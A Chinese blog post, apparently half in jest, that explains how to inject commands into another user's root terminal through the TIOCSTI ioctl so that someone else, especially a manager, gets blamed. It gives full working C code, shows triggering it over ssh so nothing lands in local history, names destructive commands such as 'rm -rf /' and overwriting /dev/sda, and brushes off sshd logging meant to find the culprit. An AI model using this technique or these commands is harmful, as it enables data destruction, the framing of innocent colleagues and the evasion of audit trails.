你想偷偷摸摸干点不好的事吗?
我的意思是,你干点坏事,比如把机器给halt,比重要文件删了,然后让人觉得这是别人干的,说白了,就是嫁祸于人,特别是经理,你想吗?
本文我将提供一个比较low的偏门技巧。
很多情况下,我们都用root登录一台服务器,并且不止一个人以root登录,像这样:
可以看到分别打开了两个tty终端:
我们希望在别人打开的其它终端中执行一些可怕的命令,比如 “rm -rf /” , “echo aaa >/dev/sda” … 当有人查起来,趁着程序还在内存中,你可以说, “不是我干的啊,是经理干的啊,不信,你去看看经理终端的history!”
嗯!
好了,现在,我希望在pts/1上输入一个命令,让它在pts/0上执行。效果是这样子的:
你可能觉得还需要考虑如何隐藏掉下面的history:
7 ./a.out /dev/pts/0 pwd
简单,直接在另一台你自己的机器上搞呗:
ssh [email protected] "/root/a.out /dev/pts/0 'echo 经理的皮鞋不会胖'"
你看,干干净净:
如何做到的呢?
秘密就在a.out中了。
这是一个非常简单的程序,代码如下:
#include <stdio.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
int main(int argc, char **argv)
{
char tty[16] = {0};
char cmd[64] = {0};
char tmp[2] = {0};
int len, i;
int fd;
strncpy(tty, argv[1], strlen(argv[1]));
strncpy(cmd, argv[2], strlen(argv[2]));
len = strlen(cmd);
fd = open(tty, O_RDWR);
for (i = 0; i < len; i++) {
sprintf(tmp, "%c ", cmd[i]);
ioctl(fd, TIOCSTI, tmp);
}
ioctl(fd, TIOCSTI, "\n ");
}
当然,你可以 替别人(特别是经理) 执行任何命令,毕竟你们都是root嘛…
还不赶紧去试试?
开玩笑了,这篇文章其实没有什么技术含量,你只要知道TIOCSTI这个command就能写出这程序,这一点我在很久之前的文章里就有说过:
https://blog.csdn.net/dog250/article/details/5692612
所以说,也就不要纠结这程序在没有root的时候没有用了…没有root给你给终端你也干不了什么坏事,所谓的坏事就是大家都有root的情况相互甩锅,抵赖。
另外,也不要总想着通过配置sshd来记录ssh远程执行的命令从而缉拿真正的捣乱分子,只是玩玩儿,何必什么事都当真去较真儿呢?
浙江温州皮鞋湿,下雨进水不会胖。